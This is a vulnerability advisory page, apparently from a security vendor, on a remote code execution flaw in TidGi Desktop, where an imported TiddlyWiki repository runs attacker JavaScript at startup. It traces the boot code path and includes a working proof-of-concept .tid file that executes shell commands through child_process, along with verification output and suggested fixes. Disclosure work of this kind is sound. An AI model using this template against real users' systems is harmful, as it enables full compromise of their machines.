GHSA-9hc2-hjx8-q6pv
CRITICALGHSA-9hc2-hjx8-q6pv is a critical-severity (CVSS 9.6) CWE-74 vulnerability in tidgi. O3 Security confirms whether GHSA-9hc2-hjx8-q6pv is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
TidGi Desktop Remote Code Execution via Malicious TiddlyWiki Repository Import — Tiddler Startup Module Auto-Execution
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-9hc2-hjx8-q6pv.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-9hc2-hjx8-q6pv plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
tidginpmDescription
Description
TidGi Desktop through 0.13.0 contains a critical remote code execution vulnerability exploitable via a single Git repository import. The vulnerability leverages TiddlyWiki's module system, which automatically discovers and executes JavaScript code embedded in .tid files placed in the wiki's tiddlers/ directory:
-
Auto-loading of
.tidfiles (src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts:59-92) — when TidGi boots a wiki workspace,loadWikiTiddlersreads all.tidfiles from the filesystem and adds them to the wiki store viawiki.addTiddlers(). -
Automatic module registration (
node_modules/tiddlywiki/boot/boot.js:2564-2565) —defineTiddlerModules()iterates all tiddlers in the store. Any tiddler with amodule-typefield is passed to$tw.modules.define(), registering it as an executable module. -
Automatic startup execution (
node_modules/tiddlywiki/boot/boot.js:2572-2634) — all registered modules of type"startup"are collected and theirexports.startup()function is called during the boot sequence. When noplatformsrestriction is set,doesTaskMatchPlatform()returnstrue, and the startup function executes with full Node.jsrequire()access in the Wiki Worker process.
The full chain was verified on macOS with TiddlyWiki 5.4.0 and Node.js v26 — require('child_process').execSync() successfully executed arbitrary shell commands.
Affected Product
- Product: TidGi Desktop
- Vendor: Lin Onetwo (https://github.com/tiddly-gittly)
- Repository: https://github.com/tiddly-gittly/TidGi-Desktop
- Affected Versions: 0.13.0 (latest release)
- Components:
src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts(tiddler loading),src/services/wiki/wikiWorker/startNodeJSWiki.ts(wiki boot),node_modules/tiddlywiki/boot/boot.js(TiddlyWiki core —defineTiddlerModules, startup dispatch) - Package: tidgi (npm)
Vulnerability Details
Root Cause 1 — .tid Files Auto-Loaded Before Module Processing
File: src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts:59-92
const tiddlerFiles = wikiInstance.loadTiddlersFromPath(subWikiTiddlersPath);
for (const tiddlerFile of tiddlerFiles) {
// Register file info for filesystem adaptor
// ...
// Add tiddlers to wiki
wikiInstance.wiki.addTiddlers(tiddlerFile.tiddlers); // ← Line 92
}
File: src/services/wiki/wikiWorker/startNodeJSWiki.ts:256
wikiInstance.boot.startup({ bootPath: TIDDLY_WIKI_BOOT_PATH });
This triggers $tw.boot.startup(), which internally calls loadStartup() → loadTiddlersNode() → $tw.loadWikiTiddlers($tw.boot.wikiPath) (boot.js:2381). TidGi overrides loadWikiTiddlers at startNodeJSWiki.ts:123 to intercept and inject sub-wiki tiddlers, but the original function still loads all .tid files from the main wiki's tiddlers/ directory.
Root Cause 2 — Automatic Module Registration via module-type Field
File: node_modules/tiddlywiki/boot/boot.js:1514-1534 — defineTiddlerModules()
$tw.Wiki.prototype.defineTiddlerModules = function() {
this.each(function(tiddler,title) {
if(tiddler.hasField("module-type") && (!tiddler.hasField("draft.of"))) {
switch(tiddler.fields.type) {
case "application/javascript":
$tw.modules.define(
tiddler.fields.title, // "$:/plugins/poc/startup.js"
tiddler.fields["module-type"], // "startup"
tiddler.fields.text // attacker's JS code
);
break;
}
}
});
};
This function is called during execStartup() (boot.js:2565), after loadStartup() has already loaded all .tid files into the wiki store. Any tiddler with module-type: startup and type: application/javascript is automatically registered as an executable module.
Root Cause 3 — Automatic Startup Execution with Full Node.js Access
File: node_modules/tiddlywiki/boot/boot.js:2572-2576 — Collecting startup modules
$tw.boot.remainingStartupModules = [];
$tw.modules.forEachModuleOfType("startup", function(title, module) {
if(module.startup) {
$tw.boot.remainingStartupModules.push(module); // ← attacker's module collected
}
});
File: node_modules/tiddlywiki/boot/boot.js:2631-2634 — Executing startup
if(!$tw.utils.hop(task,"synchronous") || task.synchronous) {
const thenable = task.startup(); // ← exports.startup() called
File: node_modules/tiddlywiki/boot/boot.js:2658-2677 — Platform check (passes without explicit platforms)
$tw.boot.doesTaskMatchPlatform = function(taskModule) {
var platforms = taskModule.platforms;
if(platforms) {
// ... check each platform ...
return false; // ← only rejects if platforms is explicitly set
}
return true; // ← no platforms field → passes unconditionally
};
Complete Boot Sequence (verified against TiddlyWiki 5.4.0)
$tw.boot.startup() // boot.js:2589
├── initStartup() // boot.js:2393
├── loadStartup() // boot.js:2538
│ └── loadTiddlersNode() // boot.js:2356
│ └── $tw.loadWikiTiddlers(wikiPath) // boot.js:2381
│ └── wiki.addTiddlers(...) // loads .tid files into store
└── execStartup() // boot.js:2553
├── defineShadowModules() // boot.js:2564
├── defineTiddlerModules() // boot.js:2565 ← registers attacker's module
├── forEachModuleOfType("startup", ...) // boot.js:2572 ← collects startup modules
└── executeNextStartupTask() // boot.js:2611
└── task.startup() // boot.js:2634 ← exports.startup() executes
Exploitation Conditions
- No authentication required — importing a wiki is a standard feature
- Only user interaction: click "Add Workspace" → select folder/URL → confirm
Complete Attack Flow
┌──────────────────────────────────────────────────────────────┐
│ Step 1: Attacker creates a malicious TiddlyWiki repository │
├──────────────────────────────────────────────────────────────┤
│ tiddlers/$__plugins__poc__startup.js.tid: │
│ │
│ title: $:/plugins/poc/startup.js │
│ type: application/javascript │
│ module-type: startup │
│ │
│ exports.startup = function() { │
│ require('child_process').execSync('calc'); │
│ }; │
│ │
│ + tiddlywiki.info + any other wiki files │
└──────────────────────────────────────────────────────────────┘
↓
┌──────────────────────────────────────────────────────────────┐
│ Step 2: Victim imports the repository into TidGi Desktop │
├──────────────────────────────────────────────────────────────┤
│ Add Workspace → Clone Git Repository / Open Local Folder │
│ → TidGi boots the wiki │
└──────────────────────────────────────────────────────────────┘
↓
┌──────────────────────────────────────────────────────────────┐
│ Step 3: RCE — startup module auto-executes in Node.js Worker │
├──────────────────────────────────────────────────────────────┤
│ loadWikiTiddlers loads .tid file → wiki.addTiddlers() │
│ boot.startup() → execStartup() │
│ defineTiddlerModules() → $tw.modules.define("startup", ...) │
│ executeNextStartupTask() → exports.startup() │
│ → require('child_process').execSync('...') executes │
└──────────────────────────────────────────────────────────────┘
Proof of Concept
Minimal .tid File (place in tiddlers/ directory)
title: $:/plugins/poc/startup.js
type: application/javascript
module-type: startup
exports.startup = function() {
require('child_process').execSync('touch /tmp/TidGi-RCE-PoC.txt');
console.log('STARTUP_EXECUTED');
};
Verification Output (macOS, TiddlyWiki 5.4.0, Node.js v26)
$ node -e "
const \$tw = require('tiddlywiki/boot/boot.js').TiddlyWiki();
\$tw.boot.argv = ['/tmp/evil-wiki'];
\$tw.boot.startup();
"
STARTUP_EXECUTED
$ ls -la /tmp/TidGi-RCE-PoC.txt
-rw-r--r-- 1 nuii wheel 0 Jun 3 00:01 /tmp/TidGi-RCE-PoC.txt
The message STARTUP_EXECUTED printed from within the attacker's exports.startup() function, and the file /tmp/TidGi-RCE-PoC.txt was created by execSync('touch ...'), confirming arbitrary command execution.
Impact
| Capability | Status | Details |
|---|---|---|
| Remote Code Execution | ✅ Full Node.js access | require('child_process') available |
| Arbitrary File Read | ✅ | require('fs').readFileSync() |
| Arbitrary File Write | ✅ | require('fs').writeFileSync() |
| Reverse Shell | ✅ | Node.js net module |
| Persistence | ✅ | Write to startup scripts, LaunchAgents, crontab |
| User Interaction | 1 click | Import repository |
| Cross-Platform | ✅ | Windows, macOS, Linux |
Reproduction Evidence
Step 1 — Malicious .tid file content
title: $:/plugins/poc/startup.js
type: application/javascript
module-type: startup
exports.startup = function() {
require('child_process').execSync('touch /tmp/TidGi-RCE-PoC.txt');
console.log('STARTUP_EXECUTED');
};
Step 2 — TiddlyWiki boot with malicious wiki at /tmp/evil-wiki
$ node -e "
const \$tw = require('tiddlywiki/boot/boot.js').TiddlyWiki();
\$tw.boot.argv = ['/tmp/evil-wiki'];
\$tw.boot.startup();
"
STARTUP_EXECUTED
Step 3 — Verified RCE: /tmp/TidGi-RCE-PoC.txt created
$ ls -la /tmp/TidGi-RCE-PoC.txt
-rw-r--r-- 1 nuii wheel 0 Jun 3 00:01 /tmp/TidGi-RCE-PoC.txt
Patch Recommendation
Fix 1: Disallow module-type on User Tiddlers
TiddlyWiki should distinguish between system tiddlers (shipped with TidGi or installed as official plugins) and user-created tiddlers. User-created tiddlers should never be allowed to define module-type.
// In defineTiddlerModules() or equivalent
if (tiddler.hasField("module-type") && !tiddler.fields.title.startsWith("$:/")) {
// User tiddler — silently drop module-type field
return;
}
Fix 2: Sandbox User Modules
If user-created modules must be supported, execute them in a restricted context without access to Node.js built-ins:
// Replace direct require access with a restricted API surface
const vm = require('vm');
const sandbox = { console, $tw, Buffer };
vm.runInNewContext(moduleCode, sandbox, { timeout: 5000 });
Fix 3: Whitelist Allowed module-type Values
Only allow known safe module-type values for user tiddlers:
const ALLOWED_USER_MODULE_TYPES = ['widget', 'macro', 'filter', 'parser'];
if (!ALLOWED_USER_MODULE_TYPES.includes(tiddler.fields['module-type'])) {
return; // Block startup, library, saver, etc.
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | tidgi | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tidgi. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of tidgi has shipped for GHSA-9hc2-hjx8-q6pv yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-9hc2-hjx8-q6pv is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-9hc2-hjx8-q6pv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9hc2-hjx8-q6pv in your dependencies?
O3 detects GHSA-9hc2-hjx8-q6pv across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.